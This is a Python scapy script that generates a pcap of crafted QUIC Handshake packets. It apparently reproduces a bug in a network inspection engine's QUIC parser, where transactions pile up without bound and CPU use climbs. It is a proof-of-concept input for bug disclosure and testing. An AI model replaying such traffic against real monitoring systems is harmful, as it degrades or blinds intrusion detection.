#!/usr/bin/env python3
"""
Generate a pcap to reproduce QUIC TX accumulation (unbounded transaction growth).

Creates 340 flows x 100 packets of QUIC v1 Handshake long-header packets.
Each packet passes the QUIC probing parser and creates a TX via the non-Initial
code path (new_tx called, parser returns true). TXs accumulate because the
framework cannot free them fast enough when detection rules pin them for inspection.

Requires: scapy (pip install scapy)

Usage:
    python3 gen_pcap.py
    # produces quic-cpu-repro.pcap
"""

from scapy.all import Ether, IP, UDP, Raw, wrpcap
import struct
import os


def make_quic_handshake(dcid, scid, payload_size=128):
    """Build a QUIC v1 Long Header Handshake packet.

    Parser path in quic.rs:
      - from_bytes: is_long=true, version=0x00000001, type bits=0x02 -> QuicType::Handshake
      - parse(): ty != Initial -> new_tx() called unconditionally, returns true
      - No decryption attempted for non-Initial packets
    """
    version = 0x00000001
    # Long header: bit7=1, fixed bit6=1, type bits 4-5=0x02 (Handshake), pn_len bits=0x00
    first_byte = 0xe0

    header = bytearray()
    header.append(first_byte)
    header += struct.pack('>I', version)
    header.append(len(dcid))
    header += dcid
    header.append(len(scid))
    header += scid

    payload = os.urandom(payload_size)
    length_enc = struct.pack('>H', 0x4000 | len(payload))
    header += length_enc

    return bytes(header) + payload


def main():
    packets = []
    num_flows = 340
    pkts_per_flow = 100

    for flow_idx in range(num_flows):
        src_ip = f"10.{(flow_idx >> 8) & 0xff}.{flow_idx & 0xff}.{(flow_idx % 254) + 1}"
        src_port = 40000 + (flow_idx % 25000)
        dst_ip = "20.209.226.33"
        dst_port = 443

        # Consistent DCID/SCID per flow
        dcid = struct.pack('>Q', flow_idx + 1)
        scid = struct.pack('>I', flow_idx + 1)

        for pkt_idx in range(pkts_per_flow):
            payload = make_quic_handshake(dcid, scid)
            pkt = (
                Ether() /
                IP(src=src_ip, dst=dst_ip) /
                UDP(sport=src_port, dport=dst_port) /
                Raw(payload)
            )
            packets.append(pkt)

    wrpcap("quic-cpu-repro.pcap", packets)
    total_pkts = num_flows * pkts_per_flow
    print(f"Written {total_pkts} packets ({num_flows} flows x {pkts_per_flow} pkts)")
    print(f"to quic-cpu-repro.pcap")


if __name__ == "__main__":
    main()
